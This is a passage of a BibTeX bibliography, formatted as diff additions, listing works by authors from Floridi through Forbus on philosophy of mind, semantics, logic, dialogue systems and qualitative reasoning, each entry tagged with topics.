+ } + +@book{ floridi:1999a, + editor = {Luciano Floridi}, + title = {Philosophy and Computing}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 18024 4 (Hb), 0 415 18024 2 (Pb), } , + topic = {philosophy-of-technology;philosophy-of-computing;} + } + +@book{ flower:1987a, + author = {Linda Flower}, + title = {Interpretive Acts: Cognition and the Construction of + Discourse}, + publisher = {University of California, Center for the Study of Writing}, + year = {1987}, + address = {Berkeley, California}, + topic = {discourse-analysis;} + } + +@book{ floyd:1992a, + editor = {Christiane Floyd}, + title = {Software Development and Reality Construction}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {354054349X (paper)}, + topic = {software-engineering;virtual-reality;} + } + +@incollection{ flum:1995a, + author = {J\"org Flum}, + title = {Model Theory of Topological Structures}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {297--312}, + address = {Dordrecht}, + topic = {model-theory;topology;} + } + +@inproceedings{ flychteriksson:1999a, + author = {Annika Flycht-Eriksson}, + title = {A Survey of Knowledge Sources in Dialogue Systems}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {41--48}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;} + } + +@incollection{ flychteriksson-jonsson:2000a, + author = {Annika Flycht-Eriksson and Arne J\"onsson}, + title = {Dialogue and Domain Knowledge Management in Dialogue + Systems}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {121--130}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@book{ fodor_ja-katz:1964a, + editor = {Jerry A. Fodor and J.J. Katz}, + title = {The Structure of Language: Readings in the Philosophy of + Language}, + publisher = {Prentice-Hall}, + year = {1964}, + address = {Englewood Cliffs, New Jersey}, + missinginfo = {A's 1st name.}, + topic = {nl-semantics;philosophy-of-language;} + } + +@article{ fodor_ja:1965a1, + author = {Jerry A. Fodor}, + title = {Could Meaning be a $\gamma_m$?}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1965}, + volume = {4}, + pages = {73--81}, + missinginfo = {number}, + xref = {Republication: fodor_ja:1965a2.}, + topic = {psycholinguistics;nl-semantics;reference;} + } + +@incollection{ fodor_ja:1971a, + author = {Jerry A. Fodor}, + title = {Could Meaning be a $\gamma_m$?}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {558--568}, + address = {Cambridge, England}, + xref = {Republication of: fodor_ja:1965a1.}, + topic = {psycholinguistics;nl-semantics;reference;} + } + +@incollection{ fodor_ja:1972a, + author = {Jerry A. Fodor}, + title = {Troubles about Actions}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {48--69}, + address = {Dordrecht}, + topic = {action;events;nl-semantics;Donald-Davidson;} + } + +@book{ fodor_ja:1975a, + author = {Jerry A. Fodor}, + title = {The Language of Thought}, + publisher = {Thomas A. Crowell Co.}, + year = {1975}, + address = {New York}, + topic = {philosophy-of-mind;mental-representations;mental-language;} + } + +@article{ fodor_ja:1980a1, + author = {Jerry A. Fodor}, + title = {Methodological Solipsism Considered as a Research Strategy + in Cognitive Psychology}, + journal = {The Behavioral and Brain Sciences}, + year = {1980}, + volume = {3}, + pages = {63--73}, + missinginfo = {number}, + xref = {Republished: fodor_ja:1980a2.}, + topic = {foundations-of-cognitive-science;philosophy-of-psychology;} + } + +@incollection{ fodor_ja:1980a2, + author = {Jerry A. Fodor}, + title = {Methodological Solipsism Considered as a Research Strategy + in Cognitive Psychology}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {307--338}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: fodor_ja:1980a1.}, + topic = {foundations-of-cognitive-science;philosophy-of-psychology;} + } + +@article{ fodor_ja-etal:1980a, + author = {Jerry A. Fodor and Merrill F. Garrett and E.C. Walker + and C.H. Parkes}, + title = {Against Definitions}, + journal = {Cognition}, + year = {1980}, + volume = {8}, + number = {3}, + pages = {263--367}, + missinginfo = {A's 1st name}, + topic = {lexical-semantics;foundations-of-semantics; + meaning-postulates;semantic-primitives;} + } + +@book{ fodor_ja:1981a, + author = {Jerry A. Fodor}, + title = {Representations: Philosophical Essays on the + Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1981}, + topic = {foundations-of-psychology;foundations-of-cognitive-science;} + } + +@book{ fodor_ja:1983a, + author = {Jerry A. Fodor}, + title = {The Modularity of Mind: An Essay on Faculty Psychology}, + publisher = {The {MIT} Press}, + year = {1983}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-cognition;cognitive-modularity;} + } + +@article{ fodor_ja:1984a, + author = {Jerry A. Fodor}, + title = {Observation Reconsidered}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {1}, + pages = {23--43}, + xref = {Reprinted in fodor_ja:1994a.}, + topic = {observation;phenomenalism;} + } + +@article{ fodor_ja:1984b, + author = {Jerry A. Fodor}, + title = {Semantics, {W}isconsin Style}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {3}, + pages = {231--250}, + xref = {Reprinted in fodor_ja:1994a}, + topic = {foundations-of-semantics;information-flow-theory;} + } + +@article{ fodor_ja:1985a, + author = {Jerry A. Fodor}, + title = {Fodor's Guide to Mental Representation: The Ingelligent + Auntie's Vade-Mecum}, + journal = {Mind}, + year = {1985}, + volume = {94}, + pages = {76--100}, + xref = {Reprinted in fodor_ja:1994a}, + topic = {representation;philosophy-of-mind;} + } + +@incollection{ fodor_ja:1986a, + author = {Jerry A. Fodor}, + title = {Why Paramecia Don't Have Mental + Representations}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {1--23}, + address = {Minneapolis}, + topic = {mental-representations;philosophy-of-mind;} + } + +@book{ fodor_ja:1987a, + author = {Jerry A. Fodor}, + title = {Psychosemantics: The Problem of Meaning in the + Philosophy of Mind}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1987}, + topic = {philosophy-of-language;foundations-of-semantics; + philosophy-of-mind;} + } + +@incollection{ fodor_ja:1987b, + author = {Jerry A. Fodor}, + title = {Modules, Frames, Fridgeons, Sleeping Dogs, and + the Music of the Spheres}, + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + editor = {Zenon Pylyshyn}, + pages = {139--149}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ fodor_ja:1988a, + author = {Jerry A. Fodor}, + title = {A Reply to {C}hurchland's `Perceptual Plasticity and + Theoretical Necessity{'}}, + journal = {Philosophy of Science}, + year = {1988}, + volume = {55}, + number = {2}, + pages = {188--198}, + xref = {Reprinted in fodor_ja:1994a.}, + topic = {foundations-of-cognitive-science;cognitive-modularity;} + } + +@incollection{ fodor_ja:1989a, + author = {Jerry A. Fodor}, + title = {Substitution Arguments and the Individuation + of Beliefs}, + booktitle = {Method, Reason and Language}, + publisher = {The Cambridge University Press}, + year = {1989}, + editor = {George Boolos}, + address = {Cambridge, England}, + missinginfo = {pages.}, + xref = {Reprinted in fodor_ja:1994a.}, + topic = {propositional-attitudes;hyperintensionality;} + } + +@incollection{ fodor_ja:1989b, + author = {Jerry A. Fodor}, + title = {Why Should the Mind Be Modular?}, + booktitle = {Reflections on {C}homsky}, + publisher = {Blackwell Publishers}, + year = {1989}, + editor = {Alexander George}, + address = {Oxford}, + missinginfo = {pages}, + xref = {Reprinted in fodor_ja:1994b.}, + topic = {cognitive-modularity;} + } + +@article{ fodor_ja:1989c, + author = {Jerry A. Fodor}, + title = {Making Mind Matter More}, + journal = {Philosophical Topics}, + volume = {17}, + year = {1989}, + pages = {59--79}, + xref = {Reprinted in fodor_ja:1994a.}, + topic = {philosophy-of-mind;} + } + +@book{ fodor_ja-lepore:1992a, + author = {Jerry Fodor and Ernest Lepore}, + title = {Holism: A Shopper's Guide}, + publisher = {Blackwell Publishers}, + year = {1992}, + address = {Oxford}, + ISBN = {063118192X (alk. paper)}, + topic = {holism;philosophy-of-mind;philosophy-of-language;} + } + +@book{ fodor_ja:1994a, + author = {Jerry A. Fodor}, + title = {The Elm and the Expert: Mentalese and Its Semantics}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-language;cognitive-semantics; + foundations-of-semantics;} + } + +@book{ fodor_ja:1994b, + editor = {Jerry A. Fodor}, + title = {A Theory of Content and Other Essays}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambrudge, Massachusetts}, + contentnote = {TC: + 1. "Fodor's Guide to Mental Representation", pp. 3--29 + 2. "Semantics, {W}isconsin Style", pp. 31--49 + 3. "A Theory of Content, {I}: The Problem", pp. 51--87 + 4. "A Theory of Content, {II}: The Theory", pp. 89--136 + 5. "Making Mind Matter More", pp. pp. 137--159 + 6. "Substitution Arguments and the Individuation + of Beliefs", pp. 161--176 + 7. "Review of {S}teven {S}chiffer's {\em Remnants of + Meaning}", pp. 177--191 + 10. "Pr\'ecis of {\it Modularity of Mind}", pp. 195--206 + 11. "Why Should the Mind Be Modular?", pp. 207--230 + 12. "Observation Reconsidered", pp. 231--251 + 13. "A Reply to {C}hurchland's `Perceptual Plasticity and + Theoretical Necessity{'}", pp. 269--263 + } , + topic = {propositional-attitudes;foundations-of-semantics; + philosophy-of-mind;representation;information-flow-theory;} + } + +@incollection{ fodor_ja:1994c, + author = {Jerry A. Fodor}, + title = {A Theory of Content, {I}: The Problem}, + booktitle = {A Theory of Content and Other Essays}, + publisher = {The {MIT} Press}, + year = {1994}, + editor = {Jerry A. Fodor}, + pages = {51--87}, + address = {Cambrudge, Massachusetts}, + topic = {philosophy-of-mind;foundations-of-semantics;} + } + +@incollection{ fodor_ja:1994d, + author = {Jerry A. Fodor}, + title = {A Theory of Content, {II}: The Theory}, + booktitle = {A Theory of Content and Other Essays}, + publisher = {The {MIT} Press}, + year = {1994}, + editor = {Jerry A. Fodor}, + pages = {89--136}, + address = {Cambrudge, Massachusetts}, + topic = {philosophy-of-mind;foundations-of-semantics;} + } + +@incollection{ fodor_ja-lepore:1994a, + author = {Jerry Fodor and Ernie Lepore}, + title = {Is Radical Interpretation Possible?}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {101--119}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {foundations-of-semantics;radical-interpretation;holism;} + } + +@incollection{ fodor_ja:1995a, + author = {Jerry A. Fodor}, + title = {A Theory of the Child's Theory of Mind}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {109--122}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + developmental-psychology;} + } + +@article{ fodor_ja-lepore:1996a, + author = {Jerry A. Fodor and Ernest Lepore}, + title = {What Cannot Be Evaluated Cannot Be Evaluated, and It + Cannot Be Superevaluated Either}, + journal = {Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {10}, + pages = {516--535}, + topic = {supervaluations;truth-value-gaps;meaningfulness;} + } + +@article{ fodor_ja-lepore:1996b, + author = {Jerry A. Fodor and Ernest Lepore}, + title = {Impossible Words?}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {3}, + pages = {445--453}, + xref = {Criticism, discussion: hale_k:1999a.}, + topic = {lexical-semantics;} + } + +@article{ fodor_ja-lepore:1996c, + author = {Jerry A. Fodor and Ernest Lepore}, + title = {All at Sea in Semantic Space: {C}hurchland + on Meaning Similarity}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {95}, + number = {8}, + pages = {381--403}, + xref = {Commentary: abbott_b:2000a.}, + topic = {foundations-of-semantics;synonymy; + cognitive-semantics;state-space-semantics; + conceptual-role-semantics;} + } + +@incollection{ fodor_ja:1997a, + author = {Jerry A. Fodor}, + title = {Special Sciences: Still Autonomous after All These + Years}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {149--163}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-psychology;} + } + +@book{ fodor_ja:1998a, + author = {Jerry A. Fodor}, + title = {Concepts: Where Cognitive Science Went Wrong}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + topic = {foundations-of-cognitive-science;} + } + +@book{ fodor_ja:1998b, + editor = {Jerry A. Fodor}, + title = {In Critical Condition: Polemical Essays + on Cognitive Science and Philosophy of Mind}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-cognitive-science;philosophy-of-mind;} + } + +@article{ fodor_ja-lepore:1998a, + author = {Jerry A. Fodor and Ernest Lepore}, + title = {The Emptiness of the Lexicon: Reflections on + {J}ames {P}ustejovsky's {\em The Generative Lexicon}}, + journal = {Linguistic Inquiry}, + year = {1998}, + volume = {29}, + number = {1}, + pages = {269--288}, + xref = {Discussion of pustejovsky:1993a.}, + topic = {nl-kr;computational-lexical-semantics;lexical-semantics; + semantic-primitives;} + } + +@book{ fodor_ja:2000a, + author = {Jerry A. Fodor}, + title = {The Mind Doesn't Work That Way}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-06212-7}, + topic = {cognitive-modularity;foundations-of-cognitive-science; + philosophy-of-mind;} + } + +@article{ fodor_jd-etal:1975a, + author = {Janet Dean Fodor and Jerry A. Fodor and Merrill F. Garrett}, + title = {The Psychological Unreality of Semantic Representations}, + journal = {Linguistic Inquiry}, + year = {1975}, + volume = {6}, + pages = {515--531}, + missinginfo = {number}, + topic = {foundations-of-semantics;psychological-reality;} + } + +@article{ fodor_jd-frazier:1980a, + author = {Janet Dean Fodor and Lyn Frazier}, + title = {Is the Human Sentence Parsing Mechanism an {ATN}?}, + journal = {Cognition}, + year = {1980}, + volume = {8}, + pages = {417--459}, + missinginfo = {number}, + topic = {parsing-psychology;} + } + +@incollection{ fodor_jd:1982a, + author = {Janet Dean Fodor}, + title = {The Mental Representation of Quantifiers}, + booktitle = {Processes, Beliefs, and Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1982}, + editor = {Stanley Peters and Esa Saarinen}, + pages = {129--164}, + address = {Dordrecht}, + topic = {nl-semantics;nl-semantics-and-cognition;nl-quantifiers;} + } + +@article{ fodor_jd-sag:1982a1, + author = {Janet D. Fodor and Ivan Sag}, + title = {Referential and Quantificational Indefinites}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + pages = {355--398}, + number = {3}, + xref = {Republication: fodor_jd-sag:1982a2.}, + topic = {indefiniteness;nl-semantics;nl-quantifiers;} + } + +@incollection{ fodor_jd-sag:1982a2, + author = {Janet Dean Fodor and Ivan A. Sag}, + title = {Referential and + Quantificational Indefinites}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {475--521}, + address = {Cambridge, Massachusetts}, + xref = {Republication of fodor_jd-sag:1982a1.}, + topic = {indefiniteness;nl-semantics;nl-quantifiers;} + } + +@article{ fodor_jd:1983a, + author = {Janet Dean Fodor}, + title = {Phrase Structure Parsing and the Island Constraints}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {2}, + pages = {163--223}, + topic = {grammar-formalisms;GPSG;parsing-algorithms; + syntactic-islands;} + } + +@article{ fodor_jd:1985a, + author = {Janet Dean Fodor}, + title = {Situations and Representations}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {13--22}, + topic = {situation-semantics;foundations-of-semantics;} + } + +@article{ fodor_jd-crain:1990a, + author = {Janet Dean Fodor and Stephen Crain}, + title = {Phrase Structure Parameters}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {6}, + pages = {619--659}, + topic = {GPSG;HPSG;} + } + +@book{ fogelin:1972a, + author = {Robert J. Fogelin}, + title = {Understanding Arguments}, + publisher = {Harcourt Brace Jovanovich}, + year = {1972}, + address = {New York}, + topic = {argumentation;} + } + +@article{ fogelin:1974a, + author = {Robert Fogelin}, + title = {Austinian Ifs}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {324}, + pages = {578--580}, + topic = {JL-Austin;conditionals;} + } + +@book{ fokkink:2000a, + author = {Wan Fokkink}, + title = {Introduction to Process Algebra}, + publisher = {Springer-Verlag}, + year = {2000}, + address = {Berlin}, + ISBN = {3-540-66579-X}, + topic = {labelled-transition-systems;program-verification;} + } + +@incollection{ foley_r:1986a, + author = {Richard Foley}, + title = {Is It Possible to Have Contradictory Beliefs?}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {327--355}, + address = {Minneapolis}, + topic = {belief;paraconsistency;} + } + +@book{ foley_w-vanvalin:1984a, + author = {W. Foley and R. van Valin}, + title = {Functional syntax and Universal Grammar}, + publisher = {Cambridge University Press}, + year = {1984}, + address = {Cambridge, England}, + topic = {nl-syntax;functional-grammar;universal-grammar;} + } + +@article{ follesdal:1967a, + author = {Dagfinn F{\o}llesdal}, + title = {Comments on {S}tenius `Mood and Language-Game'\, } , + journal = {Synth\'ese}, + year = {1967}, + volume = {17}, + pages = {275--280}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ follesdal:1969a, + author = {Dagfinn F{\o}llesdal}, + title = {Quine on Modality}, + booktitle = {Words and Objections: Essays on the Work of {W.V.O.} {Q}uine}, + publisher = {D. Reidel Publishing Co.}, + year = {1969}, + editor = {Donald Davidson and Jaakko Hintikka}, + pages = {175--185}, + address = {Dordrecht}, + topic = {Quine;modal-logic;} + } + +@incollection{ follesdal-hilpinen:1971a, + author = {Dagfinn F{\o}llesdal and Risto Hilpinen}, + title = {Deontic Logic: An Introduction}, + editor = {Risto Hilpinen}, + booktitle = {Deontic Logic: Introductory and Systematic Readings}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1971}, + pages = {1--35}, + trnote = {tmix-project;} , + topic = {deontic-logic;} + } + +@article{ follesdal:1978a, + author = {Dagfinn F{\o}llesdal}, + title = {Brentano and {H}usserl on Intentional Objects and Perception}, + journal = {Grazer Philosophische Studien}, + year = {1978}, + volume = {5}, + pages = {83--94}, + topic = {phenomenology;intentionality;} + } + +@incollection{ follesdal:1979a, + author = {Dagfinn F{\o}llesdal}, + title = {Husserl and {H}eidegger on the Role of Actions in the + Constitution of the World}, + booktitle = {Essays in Honour of {J}aakko {H}intikka}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Esa Saarinen and Risto Hilpinen and Ilkka Niiniluoto and + M. Provence Hintikka}, + pages = {365--378}, + address = {Dordrecht}, + topic = {phenomenology;action;} + } + +@incollection{ follesdal:1980a, + author = {Dagfinn F{\o}llesdal}, + title = {Semantik}, + booktitle = {Handbuch wissenschaftstheoretischer {B}egriffe}, + publisher = {Verlag Vandenhoek \& Ruprecht}, + year = {1980}, + editor = {Josef Speck}, + address = {G\"ottingen}, + missinginfo = {pages,year is a guess}, + topic = {nl-semantics;} + } + +@article{ follett:1979a, + author = {Ria Follett}, + title = {Synthesising Recursive Functions with Side Effects}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {13}, + number = {3}, + pages = {175--200}, + acontentnote = {Abstract: + Automatic Program Synthesis involves the automatic generation of + a program (or plan) to achieve a specific goal. This means that + smaller pre-defined (or previously synthesised) program segments + are combined or modified to achieve the total goal. To guarantee + that the required goal is actually achieved, the interaction + between these program segments must be identified and + considered. This paper shows how the side effects of segments + can be derived and constructively used in achieving the required + goal, and in guaranteeing the correctness of the resulting + program. A program synthesising system PROSYN using these + principles will then be described. A trace of a sample program + synthesis, which generates a program that solves a general set + of linear simultaneous equations, is given in the appendix.}, + topic = {program-synthesis;} + } + +@incollection{ fong_s-berwick:1981a, + author = {Sandiway Fong and Robert C. Berwick}, + title = {The Computational Implementation of Principle-Based + Parsers}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {9--24}, + address = {Dordrecht}, + topic = {parsing-algorithms;GB-syntax;universal-grammar;} + } + +@incollection{ fong_s-berwick:1991a, + author = {Sandiway Fong and Robert C. Berwick}, + title = {The Computational Implementation of Principle-Based + Parsers}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1991}, + editor = {Masaru Tomita}, + chapter = {2}, + pages = {9--24}, + address = {Dordrecht}, + topic = {principle-based-parsing;} + } + +@book{ fontentelle:1997a, + author = {Thierry Fontentelle}, + title = {Turning a Bilingual Dictionary + into a Lexical-Semantic Database}, + publisher = {Max Niemeyer Verlag}, + year = {1997}, + address = {T\"ubingen}, + topic = {multilingual-lexicons;} + } + +@inproceedings{ foo-zhang_dm:1999a, + author = {Norman Foo and Dongmo Zhang}, + title = {Convergency of Iterated Belief Changes}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {73--78}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {belief-change;} + } + +@article{ foo-peppas:2001a, + author = {Norman F. Foo and Pavlos Peppas}, + title = {Realization for Causal Non-Deterministic Input-Output + Systems}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {3}, + pages = {439--440}, + topic = {input-output-systems;causality;action-formalisms; + concurrent-actions;} + } + +@incollection{ foot:1978a, + author = {Phillipa R. Foot}, + title = {Reasons for Acting and Desires}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {178--184}, + address = {Oxford}, + topic = {motivation;desires;reasons-for-action;} + } + +@article{ foot:1983a, + author = {Philippa Foot}, + title = {Moral Realism and Moral Dilemma}, + journal = {Journal of Philosophy}, + volume = {80}, + year = {1983}, + pages = {379--398}, + topic = {ethics;moral-conflict;} + } + +@unpublished{ forbes:1980a, + author = {Graeme Forbes}, + title = {Thisness and Vagueness}, + year = {1980}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess.}, + topic = {vagueness;individuation;} + } + +@article{ forbes:1981a, + author = {Graham Forbes}, + title = {Conditional Obligation and Counterfactuals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {1}, + pages = {73--99}, + topic = {modal-logic;quantifying-in-modality;individuation;} + } + +@article{ forbes:1988a, + author = {Graeme Forbes}, + title = {Physicalism, Instrumentalism and the Semantics of Modal + Logic}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {3}, + pages = {271--298}, + topic = {philosophy-of-possible-worlds;foundations-of-modal-logic;} + } + +@incollection{ forbes:1989a, + author = {Graeme Forbes}, + title = {Indexicals}, + booktitle = {Handbook of Philosophical Logic, Volume 4}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Dov Gabbay and Franz Guenthner}, + pages = {464--490}, + address = {Dordrecht}, + topic = {nl-semantics;indexicals;} + } + +@incollection{ forbes:1989b, + author = {Graeme Forbes}, + title = {Biosemantics and the Normative Properties of Thought}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {533--547}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {foundations-of-semantics;biosemantics;} + } + +@article{ forbes:1993a, + author = {Graeme Forbes}, + title = {Solving the Iteration Problem}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {3}, + pages = {311--330}, + topic = {nl-semantics;propositional-attitudes;} + } + +@incollection{ forbes:1994a, + author = {Graeme Forbes}, + title = {A New Riddle of Existence}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {415--430}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {philosophical-thought-experiments;proper-names; + philosophical-ontology;(non)existence;} + } + +@book{ forbes:1995a, + author = {Graham Forbes}, + title = {The Metaphysics of Modality}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + topic = {metaphysics;modal-logic;philosophy-of-possible-worlds;} + } + +@article{ forbes:1996a, + author = {Graeme Forbes}, + title = {Substitutivity and the Coherence of Quantifying In}, + journal = {The Philosophical Review}, + year = {1996}, + volume = {105}, + number = {3}, + pages = {337--372}, + topic = {quantifying-in-modality;} + } + +@incollection{ forbes:1996b, + author = {Graeme Forbes}, + title = {Logic, Logical Form, and the Open Future}, + booktitle = {Philosophical Perspectives 10: Metaphysics, 1996}, + publisher = {Blackwell Publishers}, + year = {1996}, + editor = {James E. Tomberlin}, + pages = {73--92}, + address = {Oxford}, + topic = {branching-time;} + } + +@article{ forbes:2000a, + author = {Graeme Forbes}, + title = {Objectual Attitudes}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {2}, + pages = {141--183}, + topic = {propositional-attitudes;individual-attitudes;} + } + +@unpublished{ forbes:2000b, + author = {Graeme Forbes}, + title = {The Logic of Intensional Transitives: Some Questions}, + year = {2000}, + note = {Unpublished manuscript, Tulane University.}, + topic = {propositional-attitudes;individual-attitudes;} + } + +@unpublished{ forbes:2000c, + author = {Graeme Forbes}, + title = {Intensional Transitive Verbs: The Limitations of + a Clausal Analysis}, + year = {2000}, + note = {Unpublished manuscript, Tulane University.}, + topic = {propositional-attitudes;individual-attitudes;} + } + +@article{ forbus:1984a, + author = {Kenneth D. Forbus}, + title = {Qualitative Process Theory}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {85--168}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@techreport{ forbus:1985a, + author = {Kenneth D. Forbus}, + title = {The Problem of Existence}, + institution = {Department of Computer Science, University + of Illinois at Urbana-Champaign}, + number = {UIUCDCS--R--85--1239}, + year = {1985}, + address = {Urbana, Illinois}, + topic = {qualitative-physics;} + } + +@incollection{ forbus:1988a, + author = {Kenneth D. Forbus}, + title = {Qualitative Physics: Past, Present, and Future}, + booktitle = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + editor = {Howard E. Shrobe}, + pages = {239--296}, + address = {San Mateo, California}, + topic = {qualitative-physics;kr-course;} + } + +@unpublished{ forbus:1988b, + author = {Kenneth D. Forbus}, + title = {The Qualitative Process Engine}, + year = {1988}, + note = {Unpublished manuscript, Beckman Institute, University of + Illinois}, + missinginfo = {Year is a guess.}, + topic = {qualitative-reasoning;qualitative-simulation;} + } + +@inproceedings{ forbus:1989a, + author = {Kenneth D. Forbus}, + title = {Introducing Actions into Qualitative Simulation}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + missinginfo = {pages}, + topic = {qualitative-reasoning;qualitative-simulation;action; + action-formalisms;} + } + +@article{ forbus-etal:1991a, + author = {Kenneth D. Forbus and Paul Nielsen and Boi Faltings}, + title = {Qualitative Spatial Reasoning: The {\sc Clock} Project}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {417--471}, + topic = {qualitative-physics;spatial-reasoning;} + } + +@article{ forbus:1993a, + author = {Kenneth D. Forbus}, + title = {Qualitative Process Theory: Twelve Years After}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {115--123}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@inproceedings{ forbus:1995a, + author = {Kenneth D. Forbus}, + title = {Introducing Actions Into Qualitative Simulation}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1273--1278}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {actions;} + } + +@incollection{ forbus:1995b, + author = {Kenneth Forbus}, + title = {Qualitative Spatial Reasoning: Framework and Frontiers}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {183--202}, + address = {Cambridge, Massachusetts}, + topic = 